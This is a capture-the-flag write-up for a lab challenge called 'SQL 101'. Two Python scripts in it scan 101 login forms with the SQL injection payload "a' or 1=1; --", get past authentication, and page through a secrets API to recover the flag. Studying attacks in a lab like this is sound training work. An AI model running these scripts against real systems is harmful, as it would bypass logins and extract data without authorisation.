Skip to content

Latest commit

 

History

History
84 lines (71 loc) · 3.05 KB

File metadata and controls

84 lines (71 loc) · 3.05 KB

SQL 101

Challenge

Opening the webpage we are given 101 (!) login forms.

Webpage

Our first objective is to create a script which identifies which login form is vulnerable to a SQL-injection. One of my teammates wrote the following script using multiprocessing to find the correct form, which I then extended to solve the remaining of the challenge.

from multiprocessing.dummy import Pool
import re 
import requests
import time

urlbase = "https://53kilomeddata-d6f0-allthoseforms.ept.gg"
mainpage_response = requests.get(urlbase + "/login").text
format = """<form method="post" action="/login/(.+)">"""
endpoints = re.findall(format, mainpage_response)

def pr(i, e):
    url = urlbase + "/login/" + e
    login_response = requests.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
    if "Invalid login credentials!" not in login_response.text:
        # TODO: Form is vulnerable

pool = Pool(50)
for i, e in enumerate(endpoints):
    pool.apply_async(pr, args=[i, e])
time.sleep(20)

When the login-form is bypassed with the SQL injection we are greeted with the following page, mentioning some API documentation located at /api-docs (href in html code).

Logged in

The /api-docs webpage shows the API documentation of the endpoint /api/secrets, where the flag most likely is located. All we need to do is query all the pages until we find the flag.

API-docs

Using the following script, sql.py, we search for the flag among the secrets:

from multiprocessing.dummy import Pool
import re 
import requests
import time

urlbase = "https://53kilomeddata-d6f0-allthoseforms.ept.gg"
mainpage_response = requests.get(urlbase + "/login").text
format = """<form method="post" action="/login/(.+)">"""
endpoints = re.findall(format, mainpage_response)

def pr(i, e):
    url = urlbase + "/login/" + e
    login_response = requests.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
    if "Invalid login credentials!" not in login_response.text:
        # Create a session, or else we do not keep our authentication
        s = requests.Session()
        r = s.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
        for i in range(1, 100):
            r = s.get(urlbase + f"/api/secrets?page={i}&page_size=20")
            if "EPT" in r.text:
                res = r.json()
                for secret in res.get("secrets", []):
                    if "EPT" in secret.get("text", ""):
                        print(secret)
                        exit()

pool = Pool(50)
for i, e in enumerate(endpoints):
    pool.apply_async(pr, args=[i, e])
time.sleep(20)

At page 80, with id 1598, we find the flag.

$ python3 sql.py
{'id': 1598, 'text': 'EPT{0ae0fbea-9a8c-4b2c-8e33-b383c8c8f94f}'}